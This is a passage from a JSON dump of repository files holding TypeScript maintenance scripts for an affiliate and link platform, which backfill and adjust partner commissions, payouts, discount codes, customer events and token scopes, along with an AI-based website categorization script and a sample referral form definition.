categorize it into 1-3 most relevant categories.\n\nIMPORTANT: You must select categories from this EXACT list (case-sensitive):\n- Artificial_Intelligence\n- Development\n- Design\n- Productivity\n- Finance\n- Marketing\n- Ecommerce\n- Security\n- Education\n- Health\n- Consumer\n\nCategory descriptions:\n- Artificial_Intelligence: AI/ML tools, chatbots, automation, machine learning platforms\n- Development: Code tools, APIs, developer platforms, programming resources\n- Design: Design tools, UI/UX, creative software, graphics\n- Productivity: Task management, collaboration, workflow tools, organization\n- Finance: Financial services, payments, accounting, investment, banking\n- Marketing: Marketing tools, analytics, advertising, social media, SEO\n- Ecommerce: Online stores, commerce platforms, marketplaces, retail\n- Security: Cybersecurity, privacy, protection tools, data security\n- Education: Learning platforms, courses, educational content, training\n- Health: Healthcare, fitness, wellness apps, medical services\n- Consumer: General consumer products/services that don't fit other categories\n\nCRITICAL: Only use the exact category names listed above. DO NOT create new categories or modify existing ones. Do not select \"Entrepreneurship\" or \"Business\" as a category.\n\nWebsite information:\nName: ${programName}\nWebsite URL: ${url}\nPage Title: ${title}\nMeta Description: ${description}\nWebsite Content Preview: ${content.slice(0, 300)}...`;\n\n    const { object } = await generateObject({\n      model: anthropic(\"claude-sonnet-4-20250514\"),\n      schema: categorizationSchema,\n      prompt,\n    });\n\n    return object.categories;\n  } catch (error) {\n    // console.error(`Error categorizing ${programName}:`, error);\n\n    // If it's a validation error (invalid enum values), return empty array\n    if (\n      error?.name === \"AI_NoObjectGeneratedError\" ||\n      error?.cause?.name === \"AI_TypeValidationError\"\n    ) {\n      console.log(\n        `  Invalid categories returned for ${programName}, skipping categorization`,\n      );\n      return []; // Return empty array for invalid categories\n    }\n\n    return []; // Return empty array for any other errors too\n  }\n}\n\n// Main processing function\nasync function main() {\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      slug: \"\",\n      url: {\n        not: null,\n      },\n    },\n    select: {\n      id: true,\n      name: true,\n      url: true,\n    },\n  });\n\n  // Scrape website\n  console.log(`Scraping: ${program.url}...`);\n\n  const scraped = await scrapeWebsite(program.url!); // already filtered above\n\n  if (!scraped) {\n    throw new Error(\"Failed to scrape website\");\n  }\n\n  console.log(`Description: ${scraped.description}`);\n\n  // Categorize with AI\n  console.log(`Analyzing content...`);\n  const categories = await categorizeProgram(\n    program.name,\n    program.url!, // already filtered above\n    scraped.content,\n    scraped.title,\n    scraped.description,\n  );\n\n  console.log(\n    `Categories: ${categories.length > 0 ? categories.join(\", \") : \"None (invalid/failed categorization)\"}`,\n  );\n\n  const res = await prisma.program.update({\n    where: { id: program.id },\n    data: {\n      addedToMarketplaceAt: new Date(),\n      description: scraped.description,\n      categories: {\n        deleteMany: {},\n        create: categories.map((category) => ({ category })),\n      },\n    },\n  });\n\n  console.log(\n    `Added ${res.name} to the marketplace with description: ${res.description}`,\n  );\n}\n\nmain()\n  .catch((error) => {\n    console.error(\"Script failed:\", error);\n    process.exit(1);\n  })\n  .finally(async () => {\n    await prisma.$disconnect();\n  });\n"
  },
  {
    "path": "apps/web/scripts/programs/backfill-custom-commissions.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport { syncTotalCommissions } from \"../../lib/api/partners/sync-total-commissions\";\n\nconst commissionsToBackfill: {\n  partnerId: string;\n  commissionAmount: number;\n  createdAt: Date;\n}[] = [];\n\nconst programId = \"prog_xxx\";\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"custom_commissions.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: {\n      data: {\n        partner_id: string;\n        total_commission: string;\n        created_at: string;\n      };\n    }) => {\n      commissionsToBackfill.push({\n        partnerId: result.data.partner_id,\n        commissionAmount: parseInt(result.data.total_commission) * 100,\n        createdAt: new Date(result.data.created_at),\n      });\n    },\n    complete: async () => {\n      console.log(\n        `Found ${commissionsToBackfill.length} commissions to backfill`,\n      );\n\n      const commissionsToCreate: Prisma.CommissionCreateManyInput[] =\n        commissionsToBackfill.map((commission) => ({\n          id: createId({ prefix: \"cm_\" }),\n          programId,\n          partnerId: commission.partnerId,\n          type: \"custom\",\n          quantity: 1,\n          amount: 0,\n          earnings: commission.commissionAmount,\n          createdAt: commission.createdAt,\n          userId: \"user_xxx\",\n          description: \"Commission backfill\",\n        }));\n\n      console.table(commissionsToCreate);\n\n      const res = await prisma.commission.createMany({\n        data: commissionsToCreate,\n        skipDuplicates: true,\n      });\n      console.log(`Created ${res.count} commissions`);\n\n      await Promise.all(\n        commissionsToCreate.map(async (commission) => {\n          syncTotalCommissions({\n            partnerId: commission.partnerId,\n            programId,\n          });\n        }),\n      );\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/programs/backfill-discount-codes.ts",
    "content": "import { ProcessedLinkProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { createId } from \"../../lib/api/create-id\";\nimport { bulkCreateLinks } from \"../../lib/api/links/bulk-create-links\";\n\nconst partnerDiscountCodes = {\n  \"email@example.com\": [\"EXAMPLE\"],\n};\n\nconst programId = \"prog_xxx\";\nconst userId = \"user_xxx\";\n\nasync function main() {\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n  });\n\n  const programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      programId: program.id,\n      partner: {\n        email: {\n          in: Object.keys(partnerDiscountCodes),\n        },\n      },\n    },\n    select: {\n      partner: {\n        select: {\n          id: true,\n          email: true,\n        },\n      },\n      discountId: true,\n    },\n  });\n\n  const partnerEmailInfo = Object.fromEntries(\n    programEnrollments.map((enrollment) => [\n      enrollment.partner.email,\n      {\n        partnerId: enrollment.partner.id,\n        discountId: enrollment.discountId,\n      },\n    ]),\n  );\n  const partnerIdInfo = Object.fromEntries(\n    programEnrollments.map((enrollment) => [\n      enrollment.partner.id,\n      {\n        discountId: enrollment.discountId,\n      },\n    ]),\n  );\n\n  const linksToCreate: Partial<ProcessedLinkProps>[] = [];\n\n  for (const [email, discountCodes] of Object.entries(partnerDiscountCodes)) {\n    const { partnerId, discountId } = partnerEmailInfo[email] ?? {};\n\n    if (!partnerId || !discountId) {\n      console.log(\n        `Skipping ${email} because they don't have a partner ID or discount ID (partnerId: ${partnerId}, discountId: ${discountId})`,\n      );\n      continue;\n    }\n\n    linksToCreate.push(\n      ...discountCodes.map((discountCode) => ({\n        domain: program.domain!,\n        key: discountCode,\n        url: program.url!,\n        trackConversion: true,\n        programId: program.id,\n        partnerId,\n        folderId: program.defaultFolderId,\n        userId,\n        projectId: program.workspaceId,\n        comments: `Link created for discount code ${discountCode}`,\n      })),\n    );\n  }\n\n  if (linksToCreate.length > 0) {\n    const createdLinks = await bulkCreateLinks({\n      links: linksToCreate as ProcessedLinkProps[],\n    });\n    console.log(`Created ${createdLinks.length} links`);\n\n    const createdDiscountCodes = await prisma.discountCode.createMany({\n      data: createdLinks\n        .map((link) => {\n          if (!link.partnerId || !partnerIdInfo[link.partnerId]) {\n            return null;\n          }\n          return {\n            id: createId({ prefix: \"dcode_\" }),\n            code: link.key,\n            programId: program.id,\n            partnerId: link.partnerId,\n            linkId: link.id,\n            discountId: partnerIdInfo[link.partnerId].discountId,\n          };\n        })\n        .filter((code): code is NonNullable<typeof code> => code !== null),\n      skipDuplicates: true,\n    });\n\n    console.log(`Created ${createdDiscountCodes.count} discount codes`);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/programs/backfill-reuse-commission.ts",
    "content": "import { isFirstConversion } from \"@/lib/analytics/is-first-conversion\";\nimport { createId } from \"@/lib/api/create-id\";\nimport { updateLinkStatsForImporter } from \"@/lib/api/links/update-link-stats-for-importer\";\nimport { syncPartnerLinksStats } from \"@/lib/api/partners/sync-partner-links-stats\";\nimport { executeWorkflows } from \"@/lib/api/workflows/execute-workflows\";\nimport { qstash } from \"@/lib/cron\";\nimport {\n  createPartnerCommission,\n  CreatePartnerCommissionProps,\n} from \"@/lib/partners/create-partner-commission\";\nimport { getCustomerEventsTB } from \"@/lib/tinybird/get-customer-events-tb\";\nimport {\n  recordClickZod,\n  recordClickZodSchema,\n} from \"@/lib/tinybird/record-click-zod\";\nimport { recordLeadWithTimestamp } from \"@/lib/tinybird/record-lead\";\nimport { recordSaleWithTimestamp } from \"@/lib/tinybird/record-sale\";\nimport { leadEventSchemaTB } from \"@/lib/zod/schemas/leads\";\nimport { saleEventSchemaTB } from \"@/lib/zod/schemas/sales\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK, nanoid, prettyPrint } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as z from \"zod/v4\";\n\nconst leadEventSchemaTBWithTimestamp = leadEventSchemaTB.extend({\n  timestamp: z.string(),\n});\n\nconst saleEventSchemaTBWithTimestamp = saleEventSchemaTB.extend({\n  timestamp: z.string(),\n});\n\n// Script config – set these before running\nconst COMMISSION_TYPE = \"sale\" as \"lead\" | \"sale\"; // \"lead\" or \"sale\"\nconst PRODUCT_ID: string | undefined = undefined; // optional, for sale context\n\nasync function main() {\n  const link = await prisma.link.findUniqueOrThrow({\n    where: {\n      id: \"link_xxx\",\n    },\n  });\n\n  const customer = await prisma.customer.findUniqueOrThrow({\n    where: {\n      id: \"cus_xxx\",\n    },\n  });\n\n  const programId = link.programId!;\n  const partnerId = link.partnerId!;\n  const workspaceId = customer.projectId;\n\n  const tbEventsToRecord: Promise<unknown>[] = [];\n  const commissionsToTransferEventIds: string[] = [];\n  const commissionsToCreate: CreatePartnerCommissionProps[] = [];\n  let leadEventTimestamp: Date | null = null;\n  let saleEventTimestamp: Date | null = null;\n  let totalSales = 0;\n  let totalSaleAmount = 0;\n  const user = undefined; // no auth user in script\n  const commissionType = COMMISSION_TYPE;\n  const productId = PRODUCT_ID;\n\n  if (!customer.linkId) {\n    throw new Error(`Customer ${customer.id} has no linkId.`);\n  }\n  // fetch existing customer events and duplicate them under the new customer.id\n  const existingCustomerEvents = await getCustomerEventsTB({\n    customerId: customer.id,\n    linkIds: [customer.linkId],\n  }).then((res) => res.data);\n\n  if (existingCustomerEvents.length === 0) {\n    throw new Error(`No existing events found for customer ${customer.id}.`);\n  }\n\n  const existingClickEvent = existingCustomerEvents.find(\n    (event) => event.event === \"click\",\n  );\n  console.log(\"Found existing click event: \", existingClickEvent);\n  const existingLeadEvent = existingCustomerEvents.find(\n    (event) => event.event === \"lead\",\n  );\n  console.log(\"Found existing lead event: \", existingLeadEvent);\n  const existingSaleEvents = existingCustomerEvents.filter(\n    (event) => event.event === \"sale\",\n  );\n  console.log(\"Found existing sale events: \", existingSaleEvents);\n\n  const newClickAttributes = {\n    click_id: nanoid(16), // create new clickId\n    link_id: link.id, // set to new link.id,\n  };\n  const clickEventData = recordClickZodSchema.parse({\n    ...existingClickEvent,\n    ...newClickAttributes,\n  });\n\n  console.log(\"Click event to record: \", clickEventData);\n  if (existingClickEvent) {\n    tbEventsToRecord.push(recordClickZod(clickEventData));\n  }\n\n  const duplicateCustomerId = createId({ prefix: \"cus_\" });\n\n  if (existingLeadEvent) {\n    const leadEventData = leadEventSchemaTBWithTimestamp.parse({\n      ...clickEventData,\n      ...existingLeadEvent,\n      ...newClickAttributes, // make sure new click attributes are not overridden by existing click attributes\n      event_id: nanoid(16), // create new event_id\n      link_id: link.id, // set to new link.id\n      customer_id: duplicateCustomerId, // set to new duplicateCustomerId\n    });\n    console.log(\"Lead event to record: \", leadEventData);\n    tbEventsToRecord.push(recordLeadWithTimestamp(leadEventData));\n\n    // Store the original lead eventId for nullification\n    commissionsToTransferEventIds.push(existingLeadEvent.event_id);\n\n    if (commissionType === \"lead\") {\n      // add the new lead event to the list of commissions to create\n      commissionsToCreate.push({\n        event: \"lead\" as const,\n        programId,\n        partnerId,\n        linkId: link.id,\n        customerId: duplicateCustomerId,\n        eventId: leadEventData.event_id,\n        quantity: 1,\n        createdAt: new Date(leadEventData.timestamp + \"Z\"), // add the \"Z\" to the timestamp to make it UTC\n        user,\n        context: {\n          customer: { country: customer.country },\n        },\n      });\n      // Track the lead event timestamp for link stats update\n      leadEventTimestamp = new Date(leadEventData.timestamp + \"Z\");\n    }\n  }\n\n  const recordSaleEvents =\n    commissionType === \"sale\" && existingSaleEvents.length > 0;\n\n  if (recordSaleEvents) {\n    if (existingSaleEvents.length > 5) {\n      throw new Error(\n        `You can only backfill up to 5 sale events. Found ${existingSaleEvents.length} existing sale events.`,\n      );\n    }\n\n    const saleEventsData = existingSaleEvents.map((existingSaleEvent) =>\n      saleEventSchemaTBWithTimestamp.parse({\n        ...clickEventData,\n        ...existingSaleEvent,\n        ...newClickAttributes, // make sure new click attributes are not overridden\n        event_id: nanoid(16), // create new event_id\n        link_id: link.id, // set to new link.id\n        customer_id: duplicateCustomerId, // set to new duplicateCustomerId\n        amount: existingSaleEvent.saleAmount, // change format returned by Tinybird\n      }),\n    );\n    console.log(\"Sale events to record: \", saleEventsData);\n    tbEventsToRecord.push(recordSaleWithTimestamp(saleEventsData));\n\n    // Store the original sale eventIds for nullification\n    commissionsToTransferEventIds.push(\n      ...existingSaleEvents.map(\n        (existingSaleEvent) => existingSaleEvent.event_id,\n      ),\n    );\n\n    if (commissionType === \"sale\") {\n      // add the new sale events to the list of commissions to create\n      commissionsToCreate.push(\n        ...saleEventsData.map((saleEventData) => ({\n          event: \"sale\" as const,\n          programId,\n          partnerId,\n          linkId: link.id,\n          customerId: duplicateCustomerId,\n          eventId: saleEventData.event_id,\n          quantity: 1,\n          amount: saleEventData.amount,\n          currency: saleEventData.currency,\n          invoiceId: saleEventData.invoice_id,\n          createdAt: new Date(saleEventData.timestamp + \"Z\"), // add the \"Z\" to the timestamp to make it UTC\n          user,\n          context: {\n            customer: {\n              country: customer.country,\n            },\n            sale: {\n              productId,\n            },\n          },\n        })),\n      );\n      // Track the latest sale event timestamp for link stats update\n      const latestSaleTimestamp = Math.max(\n        ...saleEventsData.map((data) =>\n          new Date(data.timestamp + \"Z\").getTime(),\n        ),\n      );\n      saleEventTimestamp = new Date(latestSaleTimestamp);\n    }\n    totalSales = existingSaleEvents.length;\n    totalSaleAmount = existingSaleEvents.reduce(\n      (acc, saleEvent) => acc + saleEvent.saleAmount,\n      0,\n    );\n  }\n\n  const duplicatedCustomer = await prisma.$transaction(async (tx) => {\n    await tx.customer.update({\n      where: {\n        id: customer.id,\n      },\n      data: {\n        name: customer.name ? `${customer.name} (old)` : undefined,\n        externalId: `dummy_${nanoid(32)}`, // generate random externalId\n        stripeCustomerId: null,\n        linkId: null,\n        programId: null,\n        partnerId: null,\n        clickId: null,\n      },\n    });\n\n    return await tx.customer.create({\n      data: {\n        ...customer,\n        id: duplicateCustomerId,\n        linkId: link.id,\n        programId: link.programId,\n        partnerId: link.partnerId,\n        clickId: clickEventData.click_id,\n        clickedAt: new Date(clickEventData.timestamp),\n        country:\n          clickEventData.country === \"Unknown\" ? null : clickEventData.country,\n        ...(recordSaleEvents && {\n          sales: totalSales,\n          saleAmount: totalSaleAmount,\n        }),\n      },\n    });\n  });\n\n  console.log(\n    `Duplicated customer ${customer.id} to ${duplicatedCustomer.id}: `,\n    duplicatedCustomer,\n  );\n\n  // Record events in Tinybird\n  const tbRes = await Promise.allSettled(tbEventsToRecord);\n  console.log(\"Recorded events in Tinybird: \", tbRes);\n\n  const finalCommissionsToTransferEventIds =\n    commissionsToTransferEventIds.filter(\n      (eventId) => typeof eventId === \"string\",\n    );\n  console.log(\n    \"Final commissions to transfer event ids: \",\n    finalCommissionsToTransferEventIds,\n  );\n\n  const firstConversionFlag =\n    commissionType === \"sale\" &&\n    isFirstConversion({\n      customer,\n      linkId: link.id,\n    });\n\n  // Update link stats and nullify old commissions\n  await Promise.all([\n    prisma.link.update({\n      where: { id: link.id },\n      data: {\n        clicks: { increment: 1 },\n        leads: { increment: 1 },\n        lastLeadAt: updateLinkStatsForImporter({\n          currentTimestamp: link.lastLeadAt,\n          newTimestamp: leadEventTimestamp || new Date(),\n        }),\n        ...(firstConversionFlag && {\n          conversions: { increment: 1 },\n          lastConversionAt: updateLinkStatsForImporter({\n            currentTimestamp: link.lastConversionAt,\n            newTimestamp: saleEventTimestamp || new Date(),\n          }),\n        }),\n        ...(commissionType === \"sale\" && {\n          sales: { increment: totalSales },\n          saleAmount: { increment: totalSaleAmount },\n        }),\n      },\n    }),\n    finalCommissionsToTransferEventIds.length > 0\n      ? prisma.commission.updateMany({\n          where: {\n            eventId: { in: finalCommissionsToTransferEventIds },\n          },\n          data: {\n            eventId: null,\n            invoiceId: null,\n          },\n        })\n      : Promise.resolve(),\n  ]);\n\n  console.log(\n    `Updated link${finalCommissionsToTransferEventIds.length > 0 ? \" and nullified old commissions\" : \"\"}`,\n  );\n\n  console.log(\"Commissions to create: \", commissionsToCreate);\n  await Promise.allSettled(\n    commissionsToCreate.map((commission) =>\n      createPartnerCommission({ ...commission, skipWorkflow: true }),\n    ),\n  );\n\n  if ([\"lead\", \"sale\"].includes(commissionType)) {\n    await Promise.allSettled([\n      executeWorkflows({\n        trigger: \"partnerMetricsUpdated\",\n        reason: \"commission\",\n        identity: {\n          workspaceId,\n          programId,\n          partnerId,\n        },\n        metrics: {\n          current: {\n            leads: commissionType === \"lead\" ? 1 : 0,\n            saleAmount: totalSaleAmount,\n            conversions: firstConversionFlag ? 1 : 0,\n          },\n        },\n      }),\n      syncPartnerLinksStats({\n        partnerId,\n        programId,\n        eventType: commissionType as \"lead\" | \"sale\",\n      }),\n    ]);\n  }\n\n  const qstashResponse = await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/aggregate-due-commissions`,\n    body: { programId },\n  });\n  console.log(\n    `Triggered aggregate due commissions cron job for program ${programId}: ${prettyPrint(qstashResponse)}`,\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/programs/delete-program-enrollments.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { bulkDeleteLinks } from \"../../lib/api/links/bulk-delete-links\";\n\nconst programId = \"prog_xxx\";\n\nasync function main() {\n  while (true) {\n    const programEnrollments = await prisma.programEnrollment.findMany({\n      where: {\n        programId,\n        totalLeads: 0,\n      },\n      take: 250,\n      include: {\n        links: true,\n      },\n    });\n\n    if (programEnrollments.length === 0) {\n      console.log(\"No program enrollments found\");\n      break;\n    }\n\n    const linksToDelete = programEnrollments.flatMap(({ links }) => links);\n\n    // in case some of the links actually do have leads\n    if (linksToDelete.some(({ leads }) => leads > 0)) {\n      console.log(\n        `Found links with leads: ${linksToDelete\n          .filter(({ leads }) => leads > 0)\n          .map(({ shortLink }) => shortLink)\n          .join(\", \")}`,\n      );\n      break;\n    }\n\n    await bulkDeleteLinks(linksToDelete);\n\n    const deleteLinkPrisma = await prisma.link.deleteMany({\n      where: {\n        id: {\n          in: linksToDelete.map(({ id }) => id),\n        },\n      },\n    });\n\n    console.log(\"deleteLinkPrisma\", deleteLinkPrisma);\n\n    const deleteProgramEnrollment = await prisma.programEnrollment.deleteMany({\n      where: {\n        id: {\n          in: programEnrollments.map(({ id }) => id),\n        },\n      },\n    });\n\n    console.log(\"deleteProgramEnrollment\", deleteProgramEnrollment);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/programs/update-commissions-canceled.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { syncTotalCommissions } from \"../../lib/api/partners/sync-total-commissions\";\n\nasync function main() {\n  const programId = \"prog_xxx\";\n\n  const commissions = await prisma.commission.findMany({\n    where: {\n      programId,\n      partnerId: \"pn_xxx\",\n      status: {\n        in: [\"pending\", \"processed\"],\n      },\n    },\n  });\n\n  if (commissions.length === 0) {\n    console.log(\"No commissions to update\");\n    return;\n  }\n\n  console.log(`Found ${commissions.length} commissions to update`);\n  console.table(commissions, [\n    \"id\",\n    \"partnerId\",\n    \"amount\",\n    \"earnings\",\n    \"status\",\n    \"createdAt\",\n  ]);\n\n  const payoutIdsToRetally = [\n    ...new Set(\n      commissions\n        .filter((commission) => commission.payoutId)\n        .map((commission) => commission.payoutId!),\n    ),\n  ];\n\n  const updatedCommissions = await prisma.commission.updateMany({\n    where: {\n      id: {\n        in: commissions.map((commission) => commission.id),\n      },\n    },\n    data: {\n      payoutId: null,\n      status: \"canceled\",\n    },\n  });\n\n  console.log(\n    `Updated ${updatedCommissions.count} commissions to have status \"canceled\"`,\n  );\n\n  for (const payoutId of payoutIdsToRetally) {\n    const data = await prisma.commission.aggregate({\n      _sum: {\n        earnings: true,\n      },\n      where: {\n        payoutId,\n      },\n    });\n    const payoutAmount = data._sum.earnings ?? 0;\n    if (payoutAmount === 0) {\n      console.log(`Deleting payout ${payoutId}`);\n      await prisma.payout.delete({\n        where: {\n          id: payoutId,\n        },\n      });\n    } else {\n      console.log(`Updating payout ${payoutId} with amount ${payoutAmount}`);\n      await prisma.payout.update({\n        where: {\n          id: payoutId,\n        },\n        data: {\n          amount: payoutAmount,\n        },\n      });\n    }\n  }\n  const partnerIdsToRetally = [\n    ...new Set(commissions.map((commission) => commission.partnerId)),\n  ];\n\n  for (const partnerId of partnerIdsToRetally) {\n    await syncTotalCommissions({\n      partnerId,\n      programId,\n      mode: \"direct\",\n    });\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/programs/update-commissions-paid.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const commissions = await prisma.commission.findMany({\n    where: {\n      programId: \"prog_xxx\",\n      status: {\n        in: [\"pending\", \"processed\"],\n      },\n      OR: [\n        { payoutId: null },\n        {\n          payout: {\n            status: \"pending\",\n          },\n        },\n      ],\n    },\n  });\n\n  if (commissions.length === 0) {\n    console.log(\"No commissions to update\");\n    return;\n  }\n\n  console.log(`Found ${commissions.length} commissions to update`);\n  console.table(commissions, [\n    \"id\",\n    \"partnerId\",\n    \"amount\",\n    \"earnings\",\n    \"status\",\n    \"createdAt\",\n  ]);\n\n  const payoutIdsToRetally = [\n    ...new Set(\n      commissions\n        .filter((commission) => commission.payoutId)\n        .map((commission) => commission.payoutId!),\n    ),\n  ];\n\n  const updatedCommissions = await prisma.commission.updateMany({\n    where: {\n      id: {\n        in: commissions.map((commission) => commission.id),\n      },\n    },\n    data: {\n      payoutId: null,\n      status: \"paid\",\n    },\n  });\n\n  for (const payoutId of payoutIdsToRetally) {\n    const data = await prisma.commission.aggregate({\n      _sum: {\n        earnings: true,\n      },\n      where: {\n        payoutId,\n      },\n    });\n    const payoutAmount = data._sum.earnings ?? 0;\n    if (payoutAmount === 0) {\n      console.log(`Deleting payout ${payoutId}`);\n      await prisma.payout.delete({\n        where: {\n          id: payoutId,\n        },\n      });\n    } else {\n      console.log(`Updating payout ${payoutId} with amount ${payoutAmount}`);\n      await prisma.payout.update({\n        where: {\n          id: payoutId,\n        },\n        data: {\n          amount: payoutAmount,\n        },\n      });\n    }\n  }\n\n  console.log(\n    `Updated ${updatedCommissions.count} commissions to have status \"paid\"`,\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/referral-form-sample.json",
    "content": "{\n  \"fields\": [\n    {\n      \"key\": \"department\",\n      \"label\": \"Department\",\n      \"type\": \"text\",\n      \"required\": true,\n      \"locked\": false,\n      \"position\": 0,\n      \"constraints\": {\n        \"maxLength\": 100,\n        \"pattern\": \"^[a-zA-Z0-9\\\\s-]+$\"\n      }\n    },\n    {\n      \"key\": \"description\",\n      \"label\": \"Description\",\n      \"type\": \"textarea\",\n      \"required\": true,\n      \"locked\": false,\n      \"position\": 1,\n      \"constraints\": {\n        \"maxLength\": 500\n      }\n    },\n    {\n      \"key\": \"referralType\",\n      \"label\": \"Referral Type\",\n      \"type\": \"select\",\n      \"required\": true,\n      \"locked\": false,\n      \"position\": 2,\n      \"options\": [\n        {\n          \"label\": \"Enterprise\",\n          \"value\": \"enterprise\"\n        },\n        {\n          \"label\": \"SMB\",\n          \"value\": \"smb\"\n        },\n        {\n          \"label\": \"Startup\",\n          \"value\": \"startup\"\n        }\n      ]\n    },\n    {\n      \"key\": \"country\",\n      \"label\": \"Country\",\n      \"type\": \"country\",\n      \"required\": false,\n      \"locked\": false,\n      \"position\": 3\n    },\n    {\n      \"key\": \"startDate\",\n      \"label\": \"Start Date\",\n      \"type\": \"date\",\n      \"required\": false,\n      \"locked\": false,\n      \"position\": 4\n    },\n    {\n      \"key\": \"interests\",\n      \"label\": \"Interests\",\n      \"type\": \"multiSelect\",\n      \"required\": false,\n      \"locked\": false,\n      \"position\": 5,\n      \"options\": [\n        {\n          \"label\": \"Technology\",\n          \"value\": \"technology\"\n        },\n        {\n          \"label\": \"Marketing\",\n          \"value\": \"marketing\"\n        },\n        {\n          \"label\": \"Sales\",\n          \"value\": \"sales\"\n        },\n        {\n          \"label\": \"Support\",\n          \"value\": \"support\"\n        }\n      ]\n    },\n    {\n      \"key\": \"employeeCount\",\n      \"label\": \"Employee Count\",\n      \"type\": \"number\",\n      \"required\": false,\n      \"locked\": false,\n      \"position\": 6\n    },\n    {\n      \"key\": \"phoneNumber\",\n      \"label\": \"Phone Number\",\n      \"type\": \"phone\",\n      \"required\": false,\n      \"locked\": false,\n      \"position\": 7\n    }\n  ]\n}\n"
  },
  {
    "path": "apps/web/scripts/remove-workspace-scopes.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  // Find all restricted tokens that have the workspace.* scopes\n  const tokens = await prisma.restrictedToken.findMany({\n    where: {\n      scopes: {\n        contains: \"workspaces.\",\n      },\n      installationId: {\n        not: null,\n      },\n    },\n    select: {\n      id: true,\n      scopes: true,\n      lastUsed: true,\n    },\n    take: 100,\n  });\n\n  console.table(tokens);\n\n  // Remove the workspace.* scopes from the tokens\n  const results = await Promise.allSettled(\n    tokens.map((token) => {\n      if (!token.scopes) return Promise.resolve(null);\n\n      // Split by spaces, filter out \"workspaces.read\" and \"workspaces.write\", and join back\n      const updatedScopes = token.scopes\n        .split(\" \")\n        .filter((scope) => !scope.startsWith(\"workspaces.\"))\n        .join(\" \")\n        .trim();\n\n      return prisma.restrictedToken.update({\n        where: {\n          id: token.id,\n        },\n        data: {\n          scopes: updatedScopes || null,\n        },\n      });\n    }),\n  );\n\n  console.log(\n    `Updated ${results.filter((r) => r.status === \"fulfilled\").length} tokens.`,\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/restore-backup.ts",
    "content": "import { bulkCreateLinks } from \"@/lib/api/links\";\nimport { ProcessedLinkProps } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nconst domain = \"xxx\";\n\nasync function main() {\n  const restoredData = await redis.lrange<ProcessedLinkProps>(\n    \"restoredData\",\n    0,\n    -1,\n  );\n\n  if (restoredData.length === 0) {\n    const links = await prisma.link.findMany({\n      where: {\n        domain,\n      },\n    });\n    await redis.lpush(\"restoredData\", links);\n  } else {\n    const response = await bulkCreateLinks({ links: restoredData });\n    console.log(response);\n    // delete restoredData from redis\n    await redis.del(\"restoredData\");\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/revert-partner-payout-demo.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nconst payoutId = \"po_z50ZzjiXigYwDGPEqhNATiJ2\";\n\nasync function main() {\n  const res = await Promise.all([\n    prisma.payout.update({\n      where: {\n        id: payoutId,\n      },\n      data: {\n        status: \"pending\",\n      },\n    }),\n    prisma.commission.updateMany({\n      where: {\n        payoutId,\n      },\n      data: {\n        status: \"processed\",\n      },\n    }),\n  ]);\n\n  console.log(res);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/reward-conditions.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  // should support tieredRewardConditionsSchema\n  const conditions = [\n    {\n      operator: \"AND\",\n      amount: 100,\n      conditions: [\n        {\n          entity: \"customer\",\n          attribute: \"country\",\n          operator: \"equals_to\",\n          value: \"IN\",\n        },\n      ],\n    },\n    {\n      operator: \"AND\",\n      amount: 200,\n      conditions: [\n        {\n          entity: \"customer\",\n          attribute: \"country\",\n          operator: \"equals_to\",\n          value: \"US\",\n        },\n        {\n          entity: \"sale\",\n          attribute: \"productId\",\n          operator: \"equals_to\",\n          value: \"basic\",\n        },\n      ],\n    },\n  ];\n\n  await prisma.reward.update({\n    where: {\n      id: \"rw_1K0E4ND6323QZGBVA4HVHEPW9\",\n    },\n    data: {\n      modifiers: conditions,\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/run.ts",
